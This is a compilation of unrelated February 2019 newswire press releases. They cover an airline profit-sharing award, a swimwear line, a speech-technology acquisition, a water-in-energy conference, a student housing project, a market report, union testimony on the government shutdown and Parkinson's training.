This is Southwest's 45th consecutive ProfitSharing award, starting with the first ProfitSharing payout in 1974. The Company will pay part of the award to the retirement plan and part in cash. Most Employees will receive 10 percent of eligible compensation as a contribution to the ProfitSharing Plan and the remainder in cash, both of which will be paid on March 15, 2019. Some Employees will receive the entire ProfitSharing award as a contribution to their retirement plan accounts as specified in their collective bargaining agreement.

"Our People are our greatest asset and they deserve all the credit for our continued success," said Gary Kelly, Chairman of the Board and Chief Executive Officer of Southwest Airlines. "The vast majority of our Employees describe their work as 'a calling,' and it's an honor to be able to recognize them for their passion, dedication, and their contributions."

The 2018 ProfitSharing award is the third highest in Company history.

ABOUT SOUTHWEST AIRLINES CO.

In its 48th year of service, Dallas-based Southwest Airlines Co. (NYSE: LUV) continues to differentiate itself from other air carriers with exemplary Customer Service delivered by more than 58,000 Employees to a Customer base topping 120 million passengers annually. Southwest became the nation's largest domestic air carrier in 2003 and maintains that ranking based on the U.S. Department of Transportation's most recent reporting of domestic originating passengers boarded. In peak travel seasons, Southwest operates more than 4,000 weekday departures among a network of 99 destinations in the United States and 10 additional countries. Southwest has announced its intention to serve Hawaii, subject to requisite governmental approvals.

Southwest coined Transfarency to describe its purposed philosophy of treating Customers honestly and fairly, and low fares actually staying low. Southwest is the only major U.S. airline to offer bags fly free to everyone (first and second checked pieces of luggage, size and weight limits apply, some carriers offer free checked bags on select routes or in qualified circumstances), and there are no change fees, though fare differences might apply.

Book Southwest Airlines' low fares online at Southwest Airlines or by phone at 800-I-FLY-SWA.

SOURCE Southwest Airlines Co.NEW YORK, Feb. 13, 2019 /PRNewswire/ -- Celebrated intimates and swimwear company Smart&Sexy has just released their 2019 Curvy Swimwear Collection designed for fuller figures on smartandsexy.com. Sizes go up to 40DDD, prices are all under $27.

Their fourth year creating a collection tailored specifically to DD and DDD swimwear, Smart&Sexy saw a need for cup size swimwear with more elevated designs. Not all women feel supported in a triangle bikini top, yet the structured swimwear available for larger cup sizes lacked the excitement of current swim trends. Inspired by celebrating and enhancing the female form in all shapes and sizes, the Smart&Sexy pieces are made to offer stylish figure solutions. Swimwear collection highlights include; bra-sized bikinis for the perfect fit and support, plus size tankinis with added length, sexy one piece swimsuits, swim skirts and high waisted bikini bottoms. Never trading function for fashion, Smart&Sexy has a range of classic solids as well as a retro and tropical prints.

Ariela Esquenazi founded Ariela & Associates in 1997 as an intimates manufacturer before launching Smart&Sexy in 2007. "We believe that all swimsuits should highlight and accentuate a women's assets. Every woman has unique and wonderful curves and we make it our mission to highlight what women love about their bodies. On-trend and flattering, our collection for curvy women offers underwire support for fuller busts, comfortable wider straps and an added six inches of length to our tankinis so women can wear their swimwear anywhere."

See the 2019 Smart&Sexy Swimwear Collection here: https://www.smartandsexy.com/curvy/swimwear.html

About Smart&Sexy

Smart&Sexy is the in-house brand for Ariela & Associates International which was founded over 20 years ago. We believe that confidence comes from underneath. We design obtainable swimwear and intimates with everyday comfort features, so that every woman can look and feel their best every day. Smart fit, sexy and flattering styles, quality, comfort and amazing value are the brand's guiding principles. Learn more: www.smartandsexy.com

This press release was issued through 24-7PressRelease.com. For further information, visit http://www.24-7pressrelease.com.

SOURCE Smart&Sexy

Related Links

http://www.smartandsexy.com

SANTA CLARA, Calif., Feb. 13, 2019 /PRNewswire/ -- Sensory Inc., a Silicon Valley company that pioneered speech recognition and AI in consumer electronics today announced the acquisition of Vocalize.ai, a software tools and services company that performs benchmarking, accuracy assessments and bias evaluations for speech technologies and natural language interfaces. As part of the acquisition, Sensory will maintain Vocalize.ai as an independently operated division.

According to Sensory CEO Todd Mozer, "Sensory has always done in-house technology testing through simulations. However, we saw a growing need for an independent testing source that wasn't influenced by our data or testing methods, that could also provide more real world, black-box testing. Vocalize.ai offers exactly what we needed and was in fact tremendously helpful in shaping our new TrulyHandsfree 6.0 release."

There has always been a gap between the testing that technology companies do in simulated environments and the real world performance of the end product when the right microphones, product housing, memory and MIPS constraints, and sound processing technologies are added. Vocalize.ai helps to close this gap with the ability to assess technology and product performance.

Joe Murphy, Vocalize.ai CEO said, "As more companies add voice to their products, there is growing need for an independent evaluation service and software tools that ensure a quality user experience. It's exciting to have access to the deep bench of AI and machine learning talent and resources of Sensory. It is also important to recognize that Vocalize.ai will operate as an independent company under the Sensory umbrella. In this model, we will continue to provide quality evaluations and competitive benchmarking services for the entire voice-enabled industry."

Sensory's clients will benefit from this new relationship through discounts on Vocalize.ai services, and they will be given the option to include the testing services offered by Vocalize.ai throughout the product development process. "Our goal is to maximize the performance of our technologies, while ensuring the best possible user experience on our customers' products! There was only so far we could take things with the technology in isolation. We believe our customers will see great value in being able to test our technologies as deployed in real-world product environment," added Mozer.

For more information about this announcement, Sensory or its technologies, please contact [email protected] ; Press inquiries: [email protected]

About Sensory Inc.

Sensory Inc. creates a safer and superior UX through vision and voice technologies. Sensory's technologies are widely deployed in consumer electronics applications including mobile phones, automotive, wearables, toys, IoT and various home electronics. With its TrulyHandsfree voice control, Sensory has set the standard for mobile handset platforms' ultra-low power "always listening" touchless control. To date, Sensory's technologies have shipped in over a billion units of leading consumer products.

TrulyHandsfree are trademarks of Sensory Inc.

SOURCE Sensory

Related Links

http://www.sensory.com

LAS VEGAS, Feb. 13, 2019 /PRNewswire/ -- With a decline in weddings in Las Vegas and a tarnished image in the destination wedding industry, Melissa & Trey Tomsik, a husband and wife team of professional photographers, started Scenic Las Vegas Weddings to shake up the Las Vegas wedding business. Ten years ago this Valentine's Day, the couple set out on a mission to change the old image the world had of Las Vegas Weddings being "cheesy" or only having a fat, old Elvis perform the ceremony.

Melissa and Trey wanted to show the world the breathtaking beauty of the surrounding Las Vegas Valley and the beautiful wedding photography that Las Vegas has to offer. They also wanted to change how the the typical Las Vegas chapel business was run. The couple got rid of hidden charges, limited the number of weddings, and provided truly professional photography, to give each couple a great experience.

Melissa and Trey Tomsik vowed to be very transparent about all costs and expectations, unlike the typical Las Vegas wedding chapel. They pride themselves on giving couples the best wedding photography, while making sure all their happy wedding couples have a 5-star experience.

With amazing Scenic Vegas locations like Valley of Fire, Eldorado Canyon Mines, Lake Mead, Pahrump Winery, and Red Rock Canyon, couples can expect one-of-a-kind wedding photography and an experience of a lifetime.

ScenicLasVegasWeddings.com provides all-inclusive weddings that include courtesy limousine transportation, minister, photographer, a video of the ceremony, bouquet & boutonniere, and photo rights. Scenic Las Vegas Weddings strives to give all couples a stress-free, wonderful experience.

You don't have to be getting married to use Scenic Las Vegas Weddings. They also offer vow renewals, commitment ceremonies, engagement photography, family photography, and hiking at all their awesome locations. There is something for everyone!

Contact Scenic Las Vegas Weddings today for more information about all the spectacular locations around Las Vegas to have an unbelievable experience with stunning photography!

Scenic Las Vegas Weddings is a full service destination wedding and photography company in Las Vegas, Nevada.

ScenicLasVegasWeddings.com

702-515-1100

[email protected]

FB @ScenicLasVegasWeddings

Instagram @Scenic_Las_Vegas_Weddings

TripAdvisor

This press release was issued through 24-7PressRelease.com. For further information, visit http://www.24-7pressrelease.com.

SOURCE Scenic Las Vegas Weddings

Related Links

https://www.sceniclasvegasweddings.com

NEW YORK, Feb. 13, 2019 /PRNewswire/ -- QBE North America, an integrated specialist insurer, is pleased to announce a strategic partnership with LawyerGuard to deliver professional liability coverage to lawyers and address the unique legal malpractice exposures faced by law firms. This program focuses on law firms with 1-100 attorneys, targets a multitude of practice areas, and provides a broad range of coverages on a primary basis in most states (excluding Alaska, New Hampshire, Maine, Oregon and Vermont).

"This partnership with LawyerGuard utilizes QBE's ability to leverage its specialized expertise and quickly develop innovative solutions to meet the evolving needs of our customers," said Erin Fry, Senior Vice President, Specialty & Casualty Programs, QBE North America. "Together with LawyerGuard, we look forward to helping our customers protect against the growing number of malpractice risks that they face."

"We are thrilled about our new partnership with QBE," commented Kevin J. Sullivan, Managing Director of LawyerGuard. "This will give us the opportunity to provide our agents and brokers with what they have been asking for: an even better defense firm program (which continues to be the only lawyers professional liability insurance program sponsored by DRI  The Voice of the Defense Bar), along with a much broader appetite and coverage offering for non-defense firms. This exciting change underscores LawyerGuard's commitment to deliver the best solutions possible for our clients."

As one of the largest program writers in North America, QBE offers a holistic program solution complimented by deep expertise and global strengthall delivered through an unmatched experience of excellence. LawyerGuard has been a trusted program manager to many insureds for more than thirty years and has maintained dominance in the professional liability insurance market by forming exclusive relationships with prominent professional legal associations (such as DRI  the leading organization of defense attorneys and in-house counsel) as well as offering innovating coverages. This new partnership with QBE, allows the LawyerGuard Program to expand the coverages currently being offered to defense firms, while also expanding the appetite for firms in the non-defense segment.

About LawyerGuard

Established in 1988, LawyerGuard is a Tampa-based insurance program manager which provides high quality professional liability insurance for multiple classes of attorneys. The program has evolved through decades of experience insuring lawyers across the country, offering enhancements including, but not limited to, mutual choice of counsel, coverage for punitive damages on "most favorable law" basis, crisis event coverage, pre-claim assistance, and cyber coverage. LawyerGuard provides additional benefits for preferred accounts specializing in defense work, including enhanced policy language, premium credits, and deductible reduction. Additional information about the program, including our expanded program features and coverage highlights, can be found at www.lawyerguard.com.

About QBE

QBE North America, an integrated specialist insurer, is part of QBE Insurance Group Limited, one of the largest insurers and reinsurers worldwide. QBE NA reported Gross Written Premiums in 2017 of $4.6 billion. QBE Insurance Group's 2017 results can be found at www.qbe.com. Headquartered in Sydney, Australia, QBE operates out of 31 countries around the globe, with a presence in every key insurance market. The North America division, headquartered in New York, conducts business through its property and casualty insurance subsidiaries. The actual terms and coverage for all lines of business are subject to the language of the policies as issued. QBE insurance companies are rated "A" (Excellent) by A.M. Best and "A+" by Standard & Poor's. Additional information can be found at www.qbe.com/us, or follow QBE North America on Twitter.

SOURCE QBE

Related Links

http://www.qbe.com/us

CHICAGO, Feb. 13, 2019 /PRNewswire/ -- Portage Point Partners, LLC (Portage Point), an interim management and business advisory firm that partners with stakeholders during periods of transition, underperformance and distress, announced today that Mark Berger has joined the company as a Senior Director.

Mr. Berger brings almost 15 years of experience advising stakeholders during periods of underperformance and transition to Portage Point's growing team. His appointment closely follows that of Tom Allison, an industry veteran and Turnaround Management Association Hall of Fame inductee, who joined the firm in August as a Senior Advisor.

Mr. Berger joins Portage Point after advising debtors and creditors as a Senior Director in the Turnaround & Restructuring practice at Ankura Consulting. Prior to that, he represented underperforming companies in both financial advisor and interim management roles as a Director in Alvarez & Marsal's North American Commercial Restructuring practice. He also worked in Huron Consulting Group's Turnaround & Restructuring practice and began his career in the financial management acceleration program at Dresser-Rand, a $2 billion manufacturing and service business supporting the oil & gas industry.

"Mark brings broad experience across the operational improvement and financial restructuring spectrum that adds that notable depth to our service delivery platform," said Matthew Ray, Founder and Managing Partner of Portage Point. "His addition furthers our commitment to providing our clients the most selective talent required to consistently impact outcomes."

"I am excited to join Matt and the Portage Point team," Mr. Berger said. "Portage Point has consistently demonstrated that its deep operational expertise and differentiated perspective delivers significantly improved outcomes for clients. The quality of the team at Portage Point is exceptional and I respect the company's focus on delivering value for clients."

About Portage Point Partners

Portage Point is a business advisory and interim management firm that partners with stakeholders during periods of transition, underperformance and distress. Our proven team of operators, investors, lenders, advisors and board members has the unique ability to identify, preserve and create value in challenging and complex situations. Portage Point has a successful track record in both operational turnarounds and financial restructurings that is built upon differentiated strategic insight, disciplined operational execution and deep financial expertise.

Since its founding in 2016, industry-leading organizations have honored Portage Point Partners with several transaction and individual awards. For more information, please visit www.portagepointpartners.com.

SOURCE Portage Point Partners

Related Links

http://portagepointpartners.com

The 2019 PBWIEC Event Chair, Jonna Smoot, VP, Marketing at West Texas National Bank, and an inaugural Advisory Board Member stated that, "a large part of what PBWIEC does is look at, review, discuss and seek to address the challenges and opportunities of today's water in energy issues while looking towards our future."

"To that end, we have local policy and decision makers speak, a legal and regulatory session that compares and contrasts the Texas vs. New Mexico way of regulating, including defining and resolving water issues in the two states that make up the Permian. PBWIEC strives to be a non-commercial conference in that it offers information and education to conference attendees vs. the standard water conference sales pitch performed at most every other water conference across the states. PBWIEC keeps our Conference registration pricing at one of the absolute lowest in the industry to encourage local municipalities, small companies and others to be able to attend, connect and learn from our Conference. These tenets are just some of what allowed PBWIEC to sell out at 426 Conference attendees last year (Year One!) when we had hoped to have maybe 150 attendees as our best-case scenario. We sold out of every sponsorship and this year opened new categories to accommodate last year's requests for more opportunities. This year we are anticipating 600+ attendees and can handle as much Conference-related capacity as comes our way (we essentially built our own 'bigger pipeline'!)," Smoot exclaimed.

The Conference was spearheaded by Jim Woodcock, UTPBs College of Business Advisory Board Chair, founding PBWIEC board member and PBWIEC's Chairman. Mid-2017, Woodcock galvanized a team of volunteers and working with business, civic and regulatory leaders as well as other Permian Basin stake holder and began developing the idea of PBWIEC's new-in-concept conference that focuses on information, issues, opportunities and solutions with respect to water in energy. Many of those same volunteers are again assisting with the 2019 Conference.

"Each horizontal well that is drilled uses anywhere from 100,000 up to a million barrels of water and because the Permian Basin is in the middle of a desert we have to be extra mindful of water. No one wants any drilling activity to stop because of water concerns or availability, but we've got to recognize our usage and try to identify ways to best manage that. And that concern was really the nucleus, the reason why we pulled this water conference together," Woodcock stated. "This nonprofit (status pending) Conference has not only begun addressing world-class-best-practices at its annual event it also brings together business leaders, policymakers and other stakeholders to more collectively discuss this very important topic of water in energy in depth. In its first year, PBWIEC was able to provide $10,000 in scholarships to UTPB from its net profits and expects to be able to provide more in scholarships to UTPB from this year's Conference net proceeds. PBWIEC is very proud of the fact that our Year One 2018 Conference was able to achieve a net profit and give back to our community with only one paid, part-time employee," Woodcock shared.

Confirmed 2019 PBWIEC Keynote and Featured Speakers include:

Day One Lunch Keynote Speaker: Mine K. Yucel , Sr. Vice President, Senior Research Analyst, Dallas Federal Reserve  Topic: To be announced

, Sr. Vice President, Senior Research Analyst, Dallas Federal Reserve  Topic: To be announced

Day One Dinner Keynote Speaker: Dr. Scott Tinker -- Topic: The Global Picture and Tying Things all Together

-- Topic: The Global Picture and Tying Things all Together

Day Two Lunch Keynote Speaker: Ben Shepperd  Topic: Legislative and Permian Basin Overview

 Topic: Legislative and Permian Basin Overview

Day Three Keynote Speaker: Steve Melzer  Topic: New Insights on Transmissive Fractures and Water Production from the Horizontal Well Revolution

 Topic: New Insights on Transmissive Fractures and Water Production from the Horizontal Well Revolution

Featured Talks include those from The Baker Institute for Public Policy's Center for Energy Studies and McKinsey & Company

In all, there will be over 40 speakers and panelists over the two and a half days of Conference-related events at the Midland Horseshoe Arena.

Poster Presentations will be held Day One and Day Two in the Education Building of the Horseshoe Arena during the Conference and will include discussions from the UT Permian Basin College of Engineering and UT Austin's TexNet Center for Integrated Seismicity Research, Bureau of Economic Geology on:

Water Energy Nexus Research Institute



Predicting Fracture Spacing, Clusters, Cluster Spacing and Perforations of Horizontal Wells Using Data Analytics



Substitutional effects of bivalent Zn and Ni cations on spin thermoelectric properties of Co3O4



Electron-Phonon interactions in normal and inverse Nickel substituted Cobalt spinel oxides



Activated Carbon Nanopowder Solar-Enabled Purification of Produced Water



Review of Produced Water Treatment Technologies in the Permian Basin



Utility of Flared Gas to Generate Power and Treat Produced Water



Saltwater Disposal Practices in the Permian Basin, with Application to Disposal Resource and Induced Seismicity Assessments

Event Chair Smoot asserted that, "PBWIEC organizers expect the Conference to be as successful, or more so than last year. We're reaching a global audience with our attendees. We've had civil water engineers from Minnesota signing up to attend with very little advertising. We've kept a laser-like focus on retaining our original tenet of not being a commercially-oriented conference. We ask our speakers to discuss their opportunities and issues in the context of water in energy and how they're managing those. A unique aspect for this year's Conference is that we have landowners speaking during the Conference. We invite a diverse group to speak, and invite Press far and wide to attend and report on what they see, hear and experience at our event."

Conference registrants include participants from: Arizona, California, Colorado, Kansas, Minnesota, Missouri, New Mexico, New York, Oklahoma, Pennsylvania, Tennessee, Washington, and even as far as Canada. And last but not least, the Great State of Texas is well-represented with Conference participants.

Sponsors, as of this release, include (in alpha order): Apache; Basic Energy Services; Big D Companies; The Bosworth Company; Cadence Bank; Coleman Filter Company; Concho; Fountain Quail Energy Services; Frost Bank; Goodnight Midstream; Gradiant Energy Services; Gravity Oilfield Services; Guitar Water Services; Hydrozonix; Kelly Hart & Hallman LLP; Latigo Petroleum, Inc.; Layne Water Midstream; Mabee Ranch; Nicholas Consulting Group; Odessa Convention and Visitors Bureau; Parsley Energy; R Construction Oilfield Services; Schlumberger; Sourcewater; Terra Oilfield Services, LLC; Tetra Tech; Veolia Water Technologies; Victaulic Company; VisitMidland.com; West Texas National Bank, West Texas Radio Group.

Additional Conference-related information, media inquiries, registration and sponsorship information may be found at PBWIEC.com.

Media Contact:

Jonna Smoot

[email protected]

SOURCE Permian Basin Water In Energy Conference

Related Links

https://www.PBWIEC.com

OREM, Utah, Feb. 13, 2019 /PRNewswire/ -- PEG Companies ("PEG"), a leader in real estate development across North America, and Woodbury Corporation, a full-service real estate development and management company, broke ground on a long-awaited student housing development adjacent to Utah Valley University ("UVU"). As part of a community celebration attended by Orem City dignitaries, UVU leaders and regional news media, project leaders announced that the project will officially be named The Green on Campus Drive.

Project leaders and valued community partners ceremoniously turn their shovels in unison

Once complete, The Green on Campus Drive will consist of five buildings with 1,605 beds, single-occupancy rooms for the residents, a parking structure and unique amenities to the area. Additionally, as part of the joint venture between developers PEG and Woodbury Corporation, the project will include the donation and construction of a pedestrian tunnel to allow for direct walkable access to campus, which will significantly reduce traffic congestion around the university  an area known for transportation gridlock and frequent crashes.

While construction was originally scheduled for Fall 2017, the project was delayed when a group of nearby residents attempted to ban the land rezone required to build The Green on Campus Drive. Despite the opposition, Orem voters approved Proposition 5 during the November 2018 election period, granting approval for the development to move forward.

The UVU Student Housing Project began years ago when former UVU President Matthew Holland approached PEG asking for help solving a major issue facing the university  a severe shortage of student housing. Market research shows current student housing facilities around the university collectively accommodate for less than 13 percent of the 39,931 students enrolled, forcing a large majority of UVU students to commute from across the Wasatch Front or independently find their own lodging away from campus.

"On-campus housing has been shown to increase student retention, produce higher student GPAs and result in higher rates of student graduation," said Richard Brunst, Orem City mayor. "I believe that this new complex is needed."

"We truly appreciate PEG and Woodbury's commitment to building a student housing complex on this land," said UVU President Astrid S. Tuminez. "This student housing development will look, feel and function like on-campus housing and allow our students the benefit of easily accessing the services, programs and activities of our university."

"While building a housing community that allows for an easy, safe walk onto campus was always our number one priority, we are proud to have created a development that will also improve traffic, reduce Orem City's carbon footprint and help UVU come closer to completing its master plan," said Soren Halladay, chief investment officer at PEG.

With full support from the UVU Board of Trustees, the students of UVU, Orem City Council members, the Alpine School District and valued community members whose votes have brought the project to fruition, PEG and Woodbury Corporation wish to thank everyone involved for making continued education in the Intermountain West a priority.

"This project has always been about helping students. There isn't enough purpose-built student housing at UVU. This will be a great thing for Orem and UVU," said E. Taylor Woodbury, chief operating officer at Woodbury Corporation.

Cameron Gunter, chief executive officer at PEG, adds further, "We are not just building a place for students to live  we are building a community where they can easily and fully experience the unique energies of campus life."

The first three buildings of The Green on Campus Drive are tentatively scheduled to open in Fall 2020, with the remaining two buildings to follow in Fall 2021. PEG and Woodbury Corporation look forward to working with R&O Construction as the general contractor and with Humphreys & Partners Architects on the design.

About PEG Companies:



PEG Companies was founded in 2003 and is now one of the fastest-growing commercial real estate development firms in the West. PEG focuses on developing quality projects that create value and return for its investors, end users and communities. The PEG team offers considerable experience in project design, engineering, financing, city entitlements, tax incentives, construction management, marketing and property management. PEG owns and manages over 35 hospitality assets across the U.S. and Canada, with over 4,230 multifamily housing units, and additional office, retail and industrial space across the Intermountain West. For more information about PEG, visit https://www.pegdev.com.

Contact: Ali Monsen l (801) 783-7334 l [email protected]

Related Images

breaking-ground.jpg

Breaking Ground

Project leaders and valued community partners ceremoniously turn their shovels in unison

uvu-president-makes-remarks.jpg

UVU President makes remarks

Utah Valley University President Astrid Tuminez thanks developers PEG Companies and Woodbury Corporation for not giving up, despite facing opposition

applause.jpg

Applause

More than 150 community members erupt in applause as construction on The Green on Campus Drive officially kicks off

thank-yous.jpg

Thank You's

PEG CEO Cameron Gunter and wife Jamie personally thank team and community members who helped make student housing at UVU a reality

SOURCE PEG Companies

Related Links

https://www.pegdev.com

SELBYVILLE, Del., Feb. 13, 2019 /PRNewswire/ -- China multiparameter patient monitoring market is estimated to grow at 4.8% from 2019 to 2025. According to the World Health Organization (WHO), over 230 million people in China have cardiovascular diseases and it is predicted to increase up to 50% by 2030. Growing prevalence of cardiovascular diseases has supported the market development in China. Moreover, increasing healthcare expenditure to invest in developing new technology will promote industry growth.

North America multiparameter patient monitoring market currently dominates the global industry with revenue USD 3.3 billion in 2018 and is expected to achieve similar trends by 2025

Global Multiparameter Patient Monitoring Market is expected to surpass USD 11 billion by 2025; according to a new research report by Global Market Insights, Inc., increasing geriatric population suffering from chronic diseases and requiring critical monitoring will surge demand of multiparameter patient monitors devices rendering positive impact on industry growth. According to WHO, the world's population over 60 years will double from 12% to 22% between 2015 to 2050. Majority of the geriatric population suffers from chronic ailments. For instance, the prevalence of heart diseases is high due to diabetes in elderly people. Multiparameter monitoring devices are highly preferred as they provide accurate monitoring results. Thus, high adoption of such superior quality multiparameter patient monitoring devices in treating the geriatric population will augment the industry growth.

Request for a sample of this research report @ https://www.gminsights.com/request-sample/detail/2509

Increasing technological advancements in multiparameter patient monitoring devices leading to development of innovative products will drive the industry growth. Changes in technology coupled with convenience and accuracy associated with multiparameter patient monitoring devices will upsurge the demand. For instance, Skanray Technologies launched TruSKAN, a six channel multiparameter patient monitoring systems that provides integrated pulmonary index for patient's respiratory status along with other vital parameters. Availability of such technologically advanced multiparameter monitoring devices will augment the business growth. However, stringent regulations for manufacturing of medical devices will hamper the multiparameter patient monitoring market growth. Moreover, low affordability rates in developing countries due to high price will further impact on industry growth.

Portable monitors will witness 3.8% growth from 2019 to 2025. Portable multiparameter monitors developed by key industry players have improved accuracy and enable rapid recovery. These technologically advanced portable devices are useful in ambulances and clinics as mobility of monitors proves beneficial for patient monitoring. Also, high preference for portable multiparameter patient monitors in elderly population base will further drive the segmental growth. Aforementioned factors along with operational ease possessed by portable multiparameter monitors surges the segment growth.

Browse key industry insights spread across 120 pages with 123 market data tables & 10 figures & charts from the report, "Multiparameter Patient Monitoring Market Size By Device Type (Portable, Fixed), By Acuity Level (High-Acuity, Mid-Acuity, Low-Acuity), By Age Group (Adult, Pediatric, Geriatric) By End Use (Hospitals, Homecare Settings, Ambulatory Surgical Centers) Industry Analysis Report, Regional Outlook (U.S., Canada, Germany, UK, France, Italy, Spain, Japan, India, China, South Korea, Australia, Brazil, Argentina, Mexico, South Africa, Saudi Arabia, UAE), Application Potential, Competitive Market Share & Forecast, 2019 - 2025" in detail along with the table of contents:

https://www.gminsights.com/industry-analysis/multiparameter-patient-monitoring-market

High acuity level segment held 43.8% market share in 2018 and it will show lucrative growth during analysis timeframe. Technological advancements that have enabled monitoring patient's health on multiple parameters will drive high acuity segment growth. Also, wireless network for such monitors reduces clutter of wires in ICU. Further, monitors also provide alarm notification under critical situations and hence, such technological integrations in high acuity patient monitoring devices foster the segmental growth.

Pediatric patient monitoring segment valued at 2.3 billion in 2018 and it will have enormous growth during analysis time frame. According to CDC, congenital heart defect is the most common birth defect and over 40,000 babies get affected by CHD every year in U.S. Rising number of complications in newborn babies and increasing incidents of cardio-respiratory problems in pediatric patients will increase the demand for multiparameter patient monitoring systems.

Ambulatory surgical centers segment held 33.1% market share in 2018. Number of ambulatory surgeries are increasing due to short duration and economic benefits. Demand for technologically advanced low-acuity portable multiparameter patient monitors is comparatively high in ambulatory surgical centers than hospitals. and are cost effective that will drive the segmental growth.

Key industry players in the market include Epsimed, KizlonMedical, Mediana, Medion Healthcare, Medtronics, Mindray, Masimo, Opto India, OSI Systems, Philips Healthcare, Skanray Technologies, Spacehealth Labs and VOTEM. Prominent industry players adopt strategies including acquisitions, mergers, distribution agreements and innovative product launch to strengthen product portfolio and garner higher market share. For instance, in November 2018, Mindray launched BeneVision N1 Patient monitor, with enhanced data analysis that improves patient monitoring. Introduction of new products will foster company's revenue generation.

Make an inquiry for purchasing this report @ https://www.gminsights.com/inquiry-before-buying/2509

Browse Related Reports:

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Global Patient Handling Equipment Market exceeded USD 11.0 billion in 2017 and is expected to witness growth of around 11.2% CAGR from 2018 to 2024 owing to rising number of regulations and guidelines to ensure safety of healthcare workforce against manual lifting.

https://www.gminsights.com/industry-analysis/patient-handling-equipment-market

Patient Temperature Management Market Size Outlook 2018  2024

Patient Temperature Management Market size is projected to experience substantial growth from 2017 to 2024. Availability of technologically advanced products along with rising demand for surface cooling and warming systems will fuel patient temperature management market growth.

https://www.gminsights.com/industry-analysis/patient-temperature-management-market

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SOURCE Global Market Insights, Inc.

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WASHINGTON, Feb. 13, 2019 /PRNewswire/ -- For every day the federal government is shut down and Federal Aviation Administration (FAA) employees are impacted, the nation's aviation system is gambling with aviation safety, Professional Aviation Safety Specialists National President Mike Perrone told Congress today. And while 4,000 aviation safety inspectors were furloughed at the onset of the partial government shutdown, he said, "A critical layer of safety was missing, and this is unacceptable."

Perrone testified in front of the Aviation Subcommittee of the House Transportation and Infrastructure Committee at a hearing entitled "Putting U.S. Aviation Safety at Risk: The Impact of the Shutdown." The hearing was called to examine how the recent 35-day partial shutdown of the federal government impacted FAA functions and operations, as well as the U.S. aviation industry and workforce.

Of the 11,000 safety critical FAA employees PASS represents, the majority of aviation safety inspectors were furloughed and not performing important oversight duties. And the FAA's technician workforce was on the job, without pay, but as the shutdown dragged on and bills piled up, these dedicated men and women became increasingly stressed, anxious and distracted. "FAA employees need to be focused on their critical duties," Perrone told the panel. "Not on whether they can pay their bills or if they need to work a second job.

"Dedicated federal employees, many of them lifelong public servants and military veterans, became collateral damage in a dispute unrelated to aviation safety."

With each passing day of the shutdown, "A layer of safety was stripped away and the system became exposed to more risk. For example, the FAA was not overseeing foreign repair stations [increasingly used by U.S. airlines] for 35 days and the world knew it. This is not an acceptable standard," he said.

In discussing the human impact of the shutdown, Perrone shared the story of one PASS member in Louisiana, a military veteran and single mother of three, putting two of those children through college. She was furloughed. For 35 days, she had no income and the stress and psychological effect on her family were palpable. "She deserves better than that," he said. "All federal employees deserve better than that."

Perrone emphasized that "every day the government is shut down our country is gambling with aviation safety. We can't subject the flying public to unnecessary risk due to political disagreements." Read the full testimony.

Since 1977, PASS has represented more than 11,000 employees of the Federal Aviation Administration and the Department of Defense who install, maintain, support and certify air traffic control and national defense equipment, inspect and oversee the commercial and general aviation industries, develop flight procedures and perform quality analyses of the aviation systems. For more information, visit www.passnational.org.

Contact: Liz Doherty, Communications Director, [email protected]

SOURCE Professional Aviation Safety Specialists (PASS), AFL-CIO

Related Links

https://www.passnational.org

NEW YORK and MIAMI, Feb. 13, 2019 /PRNewswire/ -- The Parkinson's Foundation announced the location of its signature professional education program course, Allied Team Training for Parkinson's, ATTP, for health care professionals treating patients with Parkinson's disease, in Iowa City. The three-and-a-half-day interactive curriculum is provided in partnership with the University of Iowa Hospitals & Clinics, a designated Parkinson's Foundation Center of Excellence. The Allied Team Training for Parkinson's course in Iowa City, Iowa, will take place March 27-30, 2019.

"The Parkinson's Foundation is committed to providing healthcare professionals with the latest research and best practices that improve care for people living with Parkinson's disease," said John L. Lehr, president and chief executive officer of the Parkinson's Foundation. "Attendees will learn to deliver personalized and patient-centered care at the right time throughout the continuum of the disease."

Designed to increase knowledge about Parkinson's disease (PD) and build capacity for comprehensive interprofessional care in the treatment of the disease, ATTP helps medical professionals from diverse disciplines learn the best techniques in PD care through a dynamic team-based approach. The program currently targets physicians, physician assistants, nurses, nurse practitioners, occupational therapists, music therapists, speech language therapists, physical therapists and social workers for training. The ATTP faculty consists of an interdisciplinary faculty of senior movement disorder specialists.

"We are delighted to host this unique interdisciplinary program at our recently designated Center of Excellence at the University of Iowa," said Ergun Uc, MD, professor of neurology and director of the Division of Movement Disorders with University of Iowa Hospitals & Clinics. "Building upon our strengths in providing world-class care for patients and conducting leading-edge research, our support from the Parkinson's Foundation is allowing us to expand our interdisciplinary care, to increase our community involvement and educational activities for other health care professionals and patients across Iowa, and to attain even greater heights in the treatment of everyone affected by Parkinson's disease."

Since 2002, ATTP has trained more than 2,000 health care professionals in the United States and Canada on best practices based on the latest research in Parkinson's disease care. In 2018 alone, over 200 health professionals were trained who went on to provide direct care to over 30,000 Parkinson's patients and 25,000 care partners in the last year.

The dynamic, interactive course features a combination of online courses and an intensive curriculum including CME/CEU credit for physicians, nurse practitioners, physician assistants, nurses and allied health professionals. The training includes interactive case presentations, care planning with people with Parkinson's and caregivers, discipline specific breakout sessions, interdisciplinary team development sessions, patient and caregiver panels and individual and team planning for linking back to the workplace.

The Parkinson's Foundation will be hosting future ATTP trainings in the following locations through 2021:

The Medical University of South Carolina (Fall 2019)

(Fall 2019) Massachusetts General Hospital and Beth Israel Deaconess Medical Center (Spring 2020)

General Hospital and Beth Israel Deaconess Medical Center (Spring 2020) Struthers Minneapolis (Fall 2020)

Oregon Health & Science University (Spring 2021)

University of Kansas Medical Center (Fall 2021)

ATTP is part of the Parkinson's Foundation professional educational offerings including Physical Therapy Faculty Program, The Edmond J. Safra Visiting Nurse Faculty Program, webinars and online courses. For more information, visit Parkinson.org/ProfessionalEducation.

To learn more, or to view a full ATTP program agenda, visit Parkinson.org/ATTP.

About the Parkinson's Foundation

The Parkinson's Foundation makes life better for people with Parkinson's disease by improving care and advancing research toward a cure. In everything we do, we build on the energy, experience and passion of our global Parkinson's community. For more information, visit www.parkinson.org or call (800) 4PD-INFO (473-4636).

About Parkinson's Disease

Affecting nearly one million Americans and 10 million worldwide, Parkinson's disease is the second-most common neurodegenerative disease after Alzheimer's and is the 14th-leading cause of death in the United States. It is associated with a progressive loss of motor control (e.g., shaking or tremor at rest and lack of facial expression), as well as non-motor symptoms (e.g., depression and anxiety). There is no cure for Parkinson's and 60,000 new cases are diagnosed each year in the United States alone.

SOURCE Parkinson's Foundation

Related Links

http://www.parkinson.org

